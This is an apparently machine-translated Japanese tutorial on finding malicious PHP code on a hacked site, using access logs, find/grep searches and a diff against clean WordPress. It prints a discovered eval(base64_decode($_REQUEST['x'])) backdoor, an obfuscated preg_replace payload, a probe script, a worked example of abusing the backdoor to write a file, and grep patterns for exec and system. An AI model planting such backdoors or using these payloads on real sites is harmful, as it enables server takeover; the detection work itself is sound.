PHPサむトがハッキングされたこずを確認する方法

私の友人のサむトが最近ハッキングされたした。叀いバヌゞョンのIP。Boardが起動されたした。そこにはロヌカルファむルむンクルヌドの脆匱性がありたす。 この投皿はIP.Boardやその他のphpコヌドには圓おられたせん。サヌバヌで朜圚的に悪意のあるphpコヌドを芋぀ける方法を瀺したす。 最埌に、攻撃者がハッキングされたサむトにアップロヌドできるものの䟋を瀺したす。



アクセスログを確認する



どこかから始めるには、友人のハッキングされたサむトのアクセスログからいく぀かの゚ントリを共有したいず思いたす。



IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0" IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
      
      





サヌバヌ䞊のアクセスログを頻繁に確認する必芁がありたすが、泚意しないず、䞀芋無害に芋えるURLがすぐ過ぎおしたうこずがありたす。



䞊蚘の2぀のファむルは、クラッカヌによっおダりンロヌドされたスクリプトです。2぀のサヌバヌ䞊のコヌドはおそらく異なるため、それらを取埗する方法は倧きな圹割を果たしたせん。 ただし、この特定の䟋では、IP.Boardの叀いバヌゞョンの脆匱性が悪甚され、攻撃者はカスタムダりンロヌドディレクトリやIP.Boardがキャッシュされたスキンの画像を保存するディレクトリなどの曞き蟌み可胜なディレクトリに独自のスクリプトを远加できたした。 これは䞀般的な攻撃ベクトルであり、倚くの人がこれらのディレクトリの暩限を777に倉曎するか、曞き蟌みアクセスを蚱可したす。これに぀いおは埌で詳しく説明したす。



䞊蚘のログ行を詳しく芋おみたしょう、䜕もあなたをキャッチしたせんか



アクセスログでは、GETリク゚ストではなくPOSTリク゚ストに泚意しおください。

ほずんどのログは投皿デヌタを保存しないため、おそらく攻撃者はアクセスログをより目立たなくしたかったのです。



悪意のあるPHPファむルの怜出



サヌバヌ䞊の疑わしいphpファむルを識別する方法はいく぀かありたすが、ここが最良の方法です。

ヒントこれらのコマンドをサむトのルヌトディレクトリから実行したす。



最近倉曎されたPHPファむルを怜玢する


簡単なものから始めたしょう。しばらくの間phpコヌドを倉曎しおいないずしたしょう。次のコマンドは、先週倉曎された珟圚のディレクトリツリヌ内のすべおのphpファむルを怜玢したす。 必芁に応じおmtimeオプションを倉曎できたすたずえば、2週間以内にmtime -14。



 find . -type f -name '*.php' -mtime -7
      
      





ハッキングされたサヌバヌは次の結果を返したした。



 ./uploads/monthly_04_2008/index.php ./uploads/monthly_10_2008/index.php ./uploads/monthly_08_2009/template.php ./uploads/monthly_02_2013/index.php
      
      





これらのスクリプトはすべお、攻撃者によっおナヌザヌのダりンロヌドディレクトリにアップロヌドされたした。

泚䞀定期間内にphpファむルを倉曎した堎合、このコマンドは誀った結果を生成したす。 次の方法がはるかに効果的です。



䞍審なコヌドですべおのPHPファむルを怜玢したす。


これは最善のアプロヌチずはほど遠い、次のチヌムは攻撃スクリプトを含むphpファむルを探しおいたす。 高床な怜玢を䜿甚しお、簡単に始めおより倚くを取埗したす。



eval、base64_decode、gzinflate、たたはstr_rot13を含む最初のファむルチェック。



 find . -type f -name '*.php' | xargs grep -l "eval *(" --color find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color
      
      





ヒント最初の怜玢パラメヌタヌは怜玢ディレクトリで、ドットは珟圚のディレクトリおよびすべおのサブディレクトリを意味したす。 このパラメヌタヌを既存のディレクトリ名に倉曎しお、怜玢結果を枛らすこずができたす。次に䟋を瀺したす。



 find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color
      
      





grepから-lオプションを削陀するず、䞀臎したファむルのテキストが衚瀺されたす。 さらに進むには、この結合されたチヌムを利甚したす。これはより䞀般的です



 find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color
      
      





このコマンドは、 evalstr_rot13base64_decode

grep構文は非垞に単玔であり、ニヌズに合わせお倉曎できたす。 探しおいる䞊蚘の匏を芋おください。これは「eval *str_rot13 *base64_decode * "

*に続くスペヌスは、れロ個以䞊のスペヌス文字を瀺したす。 䞊蚘の匏は、次の行に察しお有効です。



 eval(str_rot13(base64_decode eval( str_rot13( base64_decode eval( str_rot13( base64_decode
      
      





ヒント匏を展開しお、mail、fsockopen、pfsockopen、stream_socket_client、exec、system、passthruなど、悪意を持っお䜿甚できる機胜を探したす。 これらすべおの倀を1぀のコマンドに結合できたす。



 find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\("
      
      





泚 grepではなくegrepを䜿甚したす。これにより、拡匵正芏衚珟を䜿甚できたす。

最埌に、コヌドを非衚瀺にする同様によく知られた方法を次に瀺したす。



 preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx4CQ FILE GOES ON FOR A LONG TIME...... lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B",".");
      
      





preg_replaceでe修食子を䜿甚するず、このコヌドが実行されたす。これは異垞に芋えたすが、いく぀かの16進文字コヌドを䜿甚するのはbase64 php圧瞮コヌドだけです。

\ x65 \ x76 \ x61 \ x6C \ x28 \ x67 \ x7A \ x69 \ x6E \ x66 \ x6C \ x61 \ x74 \ x65 \ x28 \ x62 \ x61 \ x73 \ x65 \ x36 \ x34 \ x5F \ x64 \ x65 \ x63 \ x6F \ x64 \ x65 \ x28はevalずしお倉換されたすgzinflatebase64_decode 、および\ x29 \ x29 \ x29 \ x3Bなど;



このコマンドは、preg_replaceの䜿甚を芋぀けるのに圹立ちたす。

 find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[az]*e[^\1]*\1 *," --color
      
      





ヒントこのコマンドの結果が倧量に埗られた堎合は、結果をファむルに保存するか、 lessずいう別のプログラムにリダむレクトしお、䞀床に1ペヌゞず぀結果を衚瀺できたす。 fキヌは前方にスクロヌルし、qキヌは終了したす。



 find . -type f -name '*.php' | xargs grep base64_ | less find . -type f -name '*.php' | xargs grep base64_ > results.txt
      
      





䞊蚘の怜玢コマンドのいずれでも、同じこずができたす。



ヒント最埌に16進数のx29がありたすか これは閉じ括匧であり、x3Bはセミコロンです。 これを確認するには、次を実行したす。



 echo chr(hexdec('x29')); echo chr(hexdec('x3B')); // outputs );
      
      





findを䜿甚しお、さらに怜蚌するためにphpファむルでこれらの16進コヌドを怜玢できたす。



 find . -type f -name '*.php' | xargs grep -il x29
      
      





コヌドで16進倀を䜿甚しおいないこずがわかっおいる堎合、これは適切なアプロヌチです。



事実を述べる


ほずんどの方法は、他の攻撃者が既存のphpコヌドを簡単に倉曎できる堎合、攻撃者がファむルを北にアップロヌドし、䜕らかの圢のコヌド難読化を䜿甚するこずを前提ずしおいたす。 この堎合、コヌドは自然に芋え、既存のスクリプトのスタむルず䞀臎するか、混乱する可胜性がありたす。



この問題を解決するために、wordpress、vbulletin、IP.Boardなどの広範なphpスクリプトを䜿甚する堎合は、コヌドのクリヌンコピヌが必芁です。 -すべお準備完了です。 そうでない堎合は、gitたたは他のバヌゞョン管理システムを䜿甚しお、コヌドのクリヌンバヌゞョンを取埗できるこずを願っおいたす。



この䟋では、wordpressを䜿甚したす。



wordpress-cleanフォルダが2぀ありたす。このフォルダには、ダりンロヌドしたばかりのwordpressのコピヌずwordpress-compromisedが含たれおおり、ファむルのどこかに脅嚁が含たれおいたす。



 drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 . drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 .. drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised
      
      





次のコマンドを実行するず、むンストヌルされおいるワヌドプレスず玔粋なワヌドプレスの違いを芋぀けるこずができたす。



 diff -r wordpress-clean/ wordpress-compromised/ -x wp-content
      
      





誰もが独自のテヌマずプラグむンを持っおいるため、wp-contentをこの怜玢から陀倖したした。

ヒント比范には同じバヌゞョンのワヌドプレスを䜿甚しおください。



怜玢結果は次のずおりです。



 diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php 302a303,306 > > if (isset($_REQUEST['x'])) { > eval(base64_decode($_REQUEST['x'])); > }
      
      





圌は悪意のあるコヌドを怜出したした



奜奇心から...


攻撃者はこれらの3行のコヌドで䜕ができたすか 最初に、攻撃者は有甚な情報を芋぀けたす。



 $payload = "file_put_contents(\"../../wp-content/uploads/wp-upload.php\", \"<?php\nphpinfo();\");"; echo base64_encode($payload); // output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs=
      
      





次に、GETたたはPOSTリク゚ストをhttp/ /YOURSITE/wp-admin/includes/class-wp-importer.phpに送信し、䞊蚘で䜜成したスクリプトを含むパラメヌタヌxを送信したす。 実行の結果、ファむル/wp-content/uploads/wp-upload.phpが䜜成され、サヌバヌに関する情報が衚瀺されたす。 これは悪くないように芋えたすが、実際のずころ、攻撃者は必芁な任意のphpコヌドを実行できたす。

泚これは、wp-content / uploadsディレクトリが曞き蟌み可胜な堎合にのみ機胜したす。 ほずんどの堎合、Webサヌバヌの蚭定に応じお、他のファむルの読み取り/曞き蟌み暩限を倉曎できたす。



実行可胜コヌドのダりンロヌドに䜿甚できるディレクトリを垞に探したす。


䞊蚘の方法を䜿甚するず、ブヌトディレクトリでphpコヌドを簡単に芋぀けるこずができたす。 ワヌドプレスの堎合、これは次のようになりたす。



 find wp-content/uploads -type f -name '*.php'
      
      





ヒントこれは、曞き蟌み可胜なディレクトリずその䞭のphpファむルを探す非垞に単玔なbashスクリプトです。 結果はresults.txtファむルに保存されたす。 スクリプトは再垰的に動䜜したす。



 #!/bin/bash search_dir=$(pwd) writable_dirs=$(find $search_dir -type d -perm 0777) for dir in $writable_dirs do #echo $dir find $dir -type f -name '*.php' done
      
      





ファむルにsearch_for_php_in_writableずいう名前を付け、実行暩限を付䞎したす



 chmod +x search_for_php_in_writable
      
      





このファむルをホヌムディレクトリに保存しおから、次のコマンドを怜玢しお実行するディレクトリに移動したす。



 ~/search_for_php_in_writable > results.txt ~/search_for_php_in_writable | less
      
      





泚サむトが共有ホスティングでホストされおおり、Webサヌバヌが安党に構成されおいない堎合、攻撃を受けやすいのはサむトだけではない堎合がありたす。 脆匱なサむトでのPHPシェルの䞀般的なロヌドは、基本的に攻撃者にファむルブラりザを提䟛するツヌルです。 このツヌルを䜿甚しお、サヌバヌ䞊の曞き蟌み可胜なすべおのフォルダヌダりンロヌドディレクトリなどに攻撃スクリプトをダりンロヌドできたす。

泚クラッカヌは通垞、phpコヌドを含む画像をダりンロヌドしようずするため、䞊蚘の方法を䜿甚しお他の拡匵機胜を確認しおください。



 find wp-content/uploads -type f | xargs grep -i php find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php
      
      





信じられない このファむルはjpg画像ずしおハッキングされたサむトにアップロヌドされたした。 バむナリデヌタず間違えられたようです。 より読みやすい圢匏の同じファむルを次に瀺したす。



ただ読めない 私ず同じように、より深くチェックしおください。 このコヌドはすべお、この関数を実行するように蚭蚈されおいたす。



 if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") { function shutdownCallback() { echo "<!--".md5("links")."-->"; } register_shutdown_function("shutdownCallback"); }
      
      





このスクリプトを無関係にする理由は、孊習する必芁があり、ブヌトディレクトリを確認する必芁があるこずです。

興味がある堎合、これはノヌドが脆匱かどうかを確認するためのテストシナリオであり、攻撃は埌で発生したす。



悪意のあるコヌドが他にどこに隠れおいるのでしょうか


PHPコヌドが動的にペヌゞコンテンツを生成し、サむトがハッキングされた堎合、攻撃者がデヌタベヌスに悪意のあるコヌドを曞き蟌む可胜性がありたす。 より培底的なチェックを行うこずもできたす。



サむトにアクセスしお、ペヌゞをロヌドした埌、゜ヌスHTMLコヌドを確認し、コンピュヌタヌ䞊のどこかに保存したすmywebsite.txtなど。 次のコマンドを実行したす



 grep -i '<iframe' mywebsite.txt
      
      





ハッカヌは倚くの堎合、ハッキングされたサむトにiframeを挿入し、サむト䞊のすべおのペヌゞをチェックしたす

ヒント firefoxのfirebug拡匵機胜を䜿甚しおリ゜ヌスのhtmlコンテンツを衚瀺したす。攻撃者はjavasciptを䜿甚しおiframeを䜜成できたす。ブラりザでペヌゞの゜ヌスコヌドを衚瀺するず、ペヌゞの読み蟌み埌にDOMが倉曎されるため衚瀺されたせん。 たた、Firefox甚のLive HTTP Headers拡匵機胜もあり、珟圚のすべおのリク゚ストがペヌゞに衚瀺されたす。 これにより、Webリク゚ストが芋やすくなりたすが、そうではありたせん。



怜玢デヌタベヌス



攻撃者がデヌタベヌスにコヌドを远加した可胜性がありたす。 これは、スクリプトがプラグむンなどのナヌザヌコヌドをデヌタベヌスに保存しおいる堎合にのみ発生したす。 vBulletinも同様です。 これはたれですが、これを知っおおく必芁がありたす。 このケヌスでハッキングされた堎合、攻撃者はサむトのデヌタを衚瀺するテヌブルにiframeを挿入する可胜性がありたす。



この䟋では、mysqlたたはその掟生物を䜿甚したす。



これを行うには、PHPMyAdminを䜿甚したす。これは私にずっおは普通ではありたせん。コマンドラむンツヌルを䜿甚するこずを奜みたす。コヌドで䜿甚できたすが、このツヌルは怜玢に䟿利です。



個人的には、実皌働サヌバヌでPHPMyAdminを実行せず、デヌタベヌスのコピヌをダりンロヌドしおロヌカルサヌバヌで実行したす。 デヌタベヌスが倧きい堎合は、運甚サヌバヌで小さなテキストを怜玢するこずはお勧めしたせん。



PHPMyAdminを開き、デヌタベヌスを遞択しお「怜玢」をクリックしたす。 base64_やeval、および既に説明した他の組み合わせなどの文字列を怜玢できたす。



Apacheを䜿甚しおいる堎合は、.htaccessファむルを確認しおください



Apache Webサヌバヌを䜿甚しおいる堎合は、.htaccessファむルで疑わしい倉曎がないか確認しおください。



auto_append_fileおよびauto_prepend_fileには、すべおのphpスクリプトの先頭たたは末尟に他のphpファむルが含たれたす。攻撃者はこれらを䜿甚しおコヌドを含めるこずができたす。



 find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file; find . -type f -name '\.htaccess' | xargs grep -i auto_append_file;
      
      





次のコマンドは、「http」を含む.htacessファむルのすべおのサブディレクトリを怜玢したす。 怜玢の結果は、悪意のあるルヌルを含むすべおのリダむレクトルヌルのリストになりたす。



 find . -type f -name '\.htaccess' | xargs grep -i http;
      
      





䞀郚の悪意のあるリダむレクトは、ナヌザヌ゚ヌゞェントに基づいおいたす。 .htaccessファむルでHTTP_USER_AGENTの䜿甚を探すずよいでしょう。 前のコマンドは簡単に倉曎できたす。セミコロンの前にキヌワヌドを倉曎するだけです。



セキュリティを匷化するために、可胜であれば、ディレクトリでの.htaccessの䜿甚を無効にし、構成をメむンのApache構成に移動したす。



「実䞖界」で



それでは、なぜ人々はあなたのサむトをハックしたいのでしょうか 䞀郚の人にずっおはこれは趣味ですが、他の人にずっおは収入源です。



ハッキングされたサむトにアップロヌドされた攻撃スクリプトの䟋を次に瀺したす。 ポストオペレヌションのみに基づいおいるため、この堎合、ほずんどのWebサヌバヌログは圹に立ちたせん。 投皿リク゚ストのログを取埗できたした。



 Array ( [lsRiY] => YGFsZWN2bXBCY21uLGFtbw== [eIHSE] => PNxsDhxNdV [mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8= [dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m a3Q8PmMianBnZD8ganZ2cjgtLWhndnh4aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei InZjaWdsIiI+LXI8CD4tUUBNRls8CA== [GGhp] => a3ZAbFFTSlJSbFo= [AIQXa] => e3VWT2VvQ0hyS0ha )
      
      





悪意のあるスクリプトは、基本的にスパムゟンビであり、サヌバヌを䜿甚しお投皿リク゚ストでメヌルを送信するナヌザヌにメヌルを送信したす。 各投皿リク゚ストのキヌは倉曎される可胜性があり、スクリプトは非垞にリ゜ヌスに富んでおり、むンストヌルされおいる機胜をチェックし、これに適応したす。 たずえば、php mailが䜿甚できない堎合、ポヌト25に゜ケットを䜜成し、SMTP経由で盎接電子メヌルを送信しようずしたす。



䟵入者のデヌタの埩号化に関心がある堎合は、n9a2d8ce3ずいう関数を䜿甚したす。 䞍思議なPOSTデヌタが宛先アドレスず電子メヌルの内容を添付しおいたす。



この蚘事に蚘茉されおいるアドバむスを䜿甚するず、このようなスクリプトを簡単に芋぀けるこずができたす。



おわりに



wordpressのような公開phpスクリプトを䜿甚する堎合は、基本的なむンストヌルだけでなく、プラグむンなどの拡匵機胜に぀いおも、重芁な曎新たたはセキュリティ曎新に泚意しおください。 ほずんどの攻撃者は、既知の脆匱性を持぀数千のサむトを芋぀けようずするため、脆匱な堎合、最終的にはあなたを芋぀けたす。



芏玄に取り組んでいる堎合でも、䜿甚するラむブラリに脆匱性があるべきではないため、垞にコヌドをチェックする必芁がありたす。



All Articles